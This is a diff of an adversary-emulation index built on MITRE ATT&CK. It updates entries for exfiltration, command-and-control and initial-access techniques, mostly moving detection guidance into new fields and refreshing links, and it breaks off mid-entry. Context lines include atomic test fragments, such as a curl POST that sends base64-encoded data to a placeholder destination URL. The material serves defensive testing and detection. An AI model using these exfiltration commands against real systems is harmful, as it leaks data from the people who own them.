kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: exfiltration + description: |- + Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip. + + Other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1022 + - external_id: T1022 + url: https://attack.mitre.org/techniques/T1022 source_name: mitre-attack - external_id: T1022 - - description: Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting + - url: http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf + description: Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting encrypted botnet traffic. Retrieved August 19, 2015. source_name: Zhang 2013 - url: http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf - - description: Wikipedia. (2016, March 31). List of file signatures. Retrieved + - url: https://en.wikipedia.org/wiki/List_of_file_signatures + description: Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016. source_name: Wikipedia File Header Signatures - url: https://en.wikipedia.org/wiki/List%20of%20file%20signatures object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:30.260Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Binary file metadata - - Process command-line parameters - Process monitoring + - Process command-line parameters + - Binary file metadata + x_mitre_detection: "Encryption software and encrypted files can be detected + in many ways. Common utilities that may be present on the system or brought + in by an adversary may be detectable through process monitoring and monitoring + for command-line arguments for known encryption utilities. This may yield + a significant amount of benign events, depending on how systems in the environment + are typically used. Often the encryption key is stated within command-line + invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll + may be used to perform encryption, decryption, or verification of file signatures. + \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted + data is being transmitted. (Citation: Zhang 2013) If the communications channel + is unencrypted, encrypted files of known file types can be detected in transit + during exfiltration with a network intrusion detection or data loss prevention + system analyzing file headers. (Citation: Wikipedia File Header Signatures)" x_mitre_network_requirements: false - id: attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: exfiltration + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:30.260Z' identifier: T1022 atomic_tests: - name: Data Encrypted @@ -16903,45 +16914,48 @@ exfiltration: ls -l T1030: technique: + id: attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Data Transfer Size Limits - description: |- - An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts. - - Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) - - Platforms: Linux, macOS, Windows - - Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring - - Requires Network: Yes - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: exfiltration + description: An adversary may exfiltrate data in fixed size chunks instead of + whole files or limit packet sizes below certain thresholds. This approach + may be used to avoid triggering network data transfer threshold alerts. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1030 + - external_id: T1030 + url: https://attack.mitre.org/techniques/T1030 source_name: mitre-attack - external_id: T1030 - - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:34.523Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Packet capture - Netflow/Enclave netflow - Process use of network - Process monitoring + x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client + sending significantly more data than it receives from a server). If a process + maintains a long connection during which it consistently sends fixed size + data packets or a process opens connections and sends fixed sized data packets + at regular intervals, it may be performing an aggregate data transfer. Processes + utilizing the network that do not normally have network communication or have + never been seen before are suspicious. Analyze packet contents to detect communications + that do not follow the expected protocol behavior for the port that is being + used. (Citation: University of Birmingham C2)' x_mitre_network_requirements: true - id: attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: exfiltration + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:34.523Z' identifier: T1030 atomic_tests: - name: Data Transfer Size Limits @@ -16962,36 +16976,26 @@ exfiltration: ls -l T1048: technique: + id: attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Exfiltration Over Alternative Protocol - description: |- - Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage. - - Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) - - Platforms: Linux, macOS, Windows - - Data Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis - - Requires Network: Yes - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: exfiltration + description: Data exfiltration is performed with a different protocol from the + main command and control protocol or channel. The data is likely to be sent + to an alternate network location from the main command and control server. + Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network + protocol. Different channels could include Internet Web services such as cloud + storage. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1048 + - external_id: T1048 + url: https://attack.mitre.org/techniques/T1048 source_name: mitre-attack - external_id: T1048 - - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:44.720Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - User interface - Process monitoring @@ -16999,10 +17003,23 @@ exfiltration: - Packet capture - Netflow/Enclave netflow - Network protocol analysis + x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client + sending significantly more data than it receives from a server). Processes + utilizing the network that do not normally have network communication or have + never been seen before are suspicious. Analyze packet contents to detect communications + that do not follow the expected protocol behavior for the port that is being + used. (Citation: University of Birmingham C2)' x_mitre_network_requirements: true - id: attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: exfiltration + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:44.720Z' identifier: T1048 atomic_tests: - name: Exfiltration Over Alternative Protocol - SSH @@ -17091,6 +17108,8 @@ exfiltration: command-and-control: '': technique: + id: attack-pattern--830c9528-df21-472c-8c14-a036bf17d665 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Web Service description: |- Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system. @@ -17100,41 +17119,19 @@ command-and-control: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). - - Detection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) - - Platforms: Linux, macOS, Windows - - Data Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection - - Defense Bypassed: Binary Analysis, Log analysis, Firewall - - Permissions Required: User - - Requires Network: Yes - - Contributors: Anastasios Pingios - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: command-and-control - - kill_chain_name: mitre-attack - phase_name: defense-evasion external_references: - - url: https://attack.mitre.org/wiki/Technique/T1102 + - external_id: T1102 + url: https://attack.mitre.org/techniques/T1102 source_name: mitre-attack - external_id: T1102 - - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:13.915Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Anastasios Pingios x_mitre_data_sources: - Host network interface - Netflow/Enclave netflow @@ -17145,70 +17142,78 @@ command-and-control: - Binary Analysis - Log analysis - Firewall + x_mitre_network_requirements: true + x_mitre_detection: 'Host data that can relate unknown or suspicious process + activity using a network connection is important to supplement any existing + indicators of compromise based on malware command and control signatures and + infrastructure or the presence of strong encryption. Packet capture analysis + will require SSL/TLS inspection if data is encrypted. Analyze network data + for uncommon data flows (e.g., a client sending significantly more data than + it receives from a server). User behavior monitoring may help to detect abnormal + patterns of activity. Analyze packet contents to detect communications that + do not follow the expected protocol behavior for the port that is being used. + (Citation: University of Birmingham C2)' x_mitre_permissions_required: - User - x_mitre_network_requirements: true - x_mitre_contributors: - - Anastasios Pingios - id: attack-pattern--830c9528-df21-472c-8c14-a036bf17d665 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: command-and-control + kill_chain_name: mitre-attack + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:13.915Z' atomic_tests: [] T1090: technique: + id: attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Connection Proxy description: |- - A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) + A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) The definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. The network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. - - Detection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious. - - Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) - - Platforms: Linux, macOS, Windows - - Data Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture - - Requires Network: Yes - - Contributors: Walker Johnson - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: command-and-control external_references: - - url: https://attack.mitre.org/wiki/Technique/T1090 + - external_id: T1090 + url: https://attack.mitre.org/techniques/T1090 source_name: mitre-attack - external_id: T1090 - - description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools - of the Trade. Retrieved December 2, 2015.' - source_name: Trend Micro APT Attack Tools - url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ - - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + - url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ + description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools + of the Trade. Retrieved December 2, 2015.' + source_name: Trend Micro APT Attack Tools object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:08.479Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Walker Johnson x_mitre_data_sources: - Process use of network - Process monitoring - Netflow/Enclave netflow - Packet capture + x_mitre_detection: |- + Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious. + + Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) x_mitre_network_requirements: true - x_mitre_contributors: - - Walker Johnson - id: attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux type: attack-pattern + kill_chain_phases: + - phase_name: command-and-control + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:08.479Z' identifier: T1090 atomic_tests: - name: Connection Proxy @@ -17239,61 +17244,60 @@ command-and-control: ' T1132: technique: + id: attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Data Encoding - description: |- - Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip. - - Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) - - Platforms: Linux, macOS, Windows - - Data Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis - - Permissions Required: User - - Requires Network: Yes - - Contributors: Itzik Kotler, SafeBreach - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: command-and-control + description: 'Command and control (C2) information is encoded using a standard + data encoding system. Use of data encoding may be to adhere to existing protocol + specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or + other binary-to-text and character encoding systems. (Citation: Wikipedia + Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data + encoding systems may also result in data compression, such as gzip.' external_references: - - url: https://attack.mitre.org/wiki/Technique/T1132 + - external_id: T1132 + url: https://attack.mitre.org/techniques/T1132 source_name: mitre-attack - external_id: T1132 - - description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved + - url: https://en.wikipedia.org/wiki/Binary-to-text_encoding + description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017. source_name: Wikipedia Binary-to-text Encoding - url: https://en.wikipedia.org/wiki/Binary-to-text%20encoding - - description: Wikipedia. (2017, February 19). Character Encoding. Retrieved + - url: https://en.wikipedia.org/wiki/Character_encoding + description: Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017. source_name: Wikipedia Character Encoding - url: https://en.wikipedia.org/wiki/Character%20encoding - - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:43.540Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Itzik Kotler, SafeBreach + x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client + sending significantly more data than it receives from a server). Processes + utilizing the network that do not normally have network communication or have + never been seen before are suspicious. Analyze packet contents to detect communications + that do not follow the expected protocol behavior for the port that is being + used. (Citation: University of Birmingham C2)' x_mitre_data_sources: - Packet capture - Process use of network - - Process Monitoring + - Process monitoring - Network protocol analysis + x_mitre_network_requirements: true x_mitre_permissions_required: - User - x_mitre_network_requirements: true - x_mitre_contributors: - - Itzik Kotler, SafeBreach - id: attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: command-and-control + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-05-31T21:31:43.540Z' identifier: T1132 atomic_tests: - name: Base64 Encoded data. @@ -17319,44 +17323,24 @@ command-and-control: curl -XPOST #{base64_data}.#{destination_url} T1105: technique: + id: attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Remote File Copy description: |- - Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. - - Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol. - - Detection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious. - - Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) - - Platforms: Linux, macOS, Windows - - Data Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring + Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. - Permissions Required: User - - Requires Network: Yes - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: command-and-control - - kill_chain_name: mitre-attack - phase_name: lateral-movement + Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076). external_references: - - url: https://attack.mitre.org/wiki/Technique/T1105 + - external_id: T1105 + url: https://attack.mitre.org/techniques/T1105 source_name: mitre-attack - external_id: T1105 - - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:16.408Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - Packet capture @@ -17364,12 +17348,25 @@ command-and-control: - Netflow/Enclave netflow - Network protocol analysis - Process monitoring + x_mitre_detection: |- + Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious. + + Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + x_mitre_network_requirements: true x_mitre_permissions_required: - User - x_mitre_network_requirements: true - id: attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: command-and-control + kill_chain_name: mitre-attack + - phase_name: lateral-movement + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:16.408Z' identifier: T1105 atomic_tests: - name: rsync remote file copy (push) @@ -17548,44 +17545,43 @@ command-and-control: ' T1065: technique: + id: attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Uncommonly Used Port - description: |- - Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured. - - Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) - - Platforms: Linux, macOS, Windows - - Data Sources: Netflow/Enclave netflow, Process use of network, Process monitoring - - Requires Network: Yes - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: command-and-control + description: Adversaries may conduct C2 communications over a non-standard port + to bypass proxies and firewalls that have been improperly configured. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1065 + - external_id: T1065 + url: https://attack.mitre.org/techniques/T1065 source_name: mitre-attack - external_id: T1065 - - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:53.408Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Netflow/Enclave netflow - Process use of network - Process monitoring + x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client + sending significantly more data than it receives from a server). Processes + utilizing the network that do not normally have network communication or have + never been seen before are suspicious. Analyze packet contents to detect communications + that do not follow the expected protocol behavior for the port that is being + used. (Citation: University of Birmingham C2)' x_mitre_network_requirements: true - id: attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: command-and-control + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:53.408Z' identifier: T1065 atomic_tests: - name: Testing usage of uncommonly used port with PowerShell @@ -17632,6 +17628,8 @@ command-and-control: initial-access: '': technique: + id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Valid Accounts description: "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier @@ -17650,112 +17648,102 @@ initial-access: is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential - Theft)\n\nDetection: Configure robust, consistent account activity audit policies - across the enterprise and with externally accessible services. (Citation: - TechNet Audit Policy) Look for suspicious account behavior across systems - that share accounts, either user, admin, or service accounts. Examples: one - account logged into multiple systems simultaneously; multiple accounts logged - into the same machine simultaneously; accounts logged in at odd times or outside - of business hours. Activity may be from interactive login sessions or process - ownership from accounts being used to execute binaries on a remote system - as a particular account. Correlate other security systems with login information - (e.g., a user has an active login session but has not entered the building - or does not have VPN access).\n\nPerform regular audits of domain and local - system accounts to detect accounts that may have been created by an adversary - for persistence.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication - logs, Process monitoring\n\nEffective Permissions: User, Administrator\n\nDefense - Bypassed: Anti-virus, Firewall, Host intrusion prevention systems, Network - intrusion detection system, Process whitelisting, System access controls\n\nPermissions - Required: User, Administrator" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: persistence - - kill_chain_name: mitre-attack - phase_name: privilege-escalation - - kill_chain_name: mitre-attack - phase_name: initial-access + Theft)" external_references: - - url: https://attack.mitre.org/wiki/Technique/T1078 + - external_id: T1078 + url: https://attack.mitre.org/techniques/T1078 source_name: mitre-attack - external_id: T1078 - - description: Microsoft. (2016, April 15). Attractive Accounts for Credential + - external_id: CAPEC-560 + url: https://capec.mitre.org/data/definitions/560.html + source_name: capec + - url: https://technet.microsoft.com/en-us/library/dn535501.aspx + description: Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016. source_name: TechNet Credential Theft - url: https://technet.microsoft.com/en-us/library/dn535501.aspx - - description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved + - url: https://technet.microsoft.com/en-us/library/dn487457.aspx + description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. source_name: TechNet Audit Policy - url: https://technet.microsoft.com/en-us/library/dn487457.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:00.645Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Authentication logs - Process monitoring - x_mitre_effective_permissions: - - User - - Administrator x_mitre_defense_bypassed: - - Anti-virus - Firewall - Host intrusion prevention systems - Network intrusion detection system - Process whitelisting - System access controls + - Anti-virus + x_mitre_detection: |- + Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). + + Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. x_mitre_permissions_required: - User - Administrator - id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81 - modified: 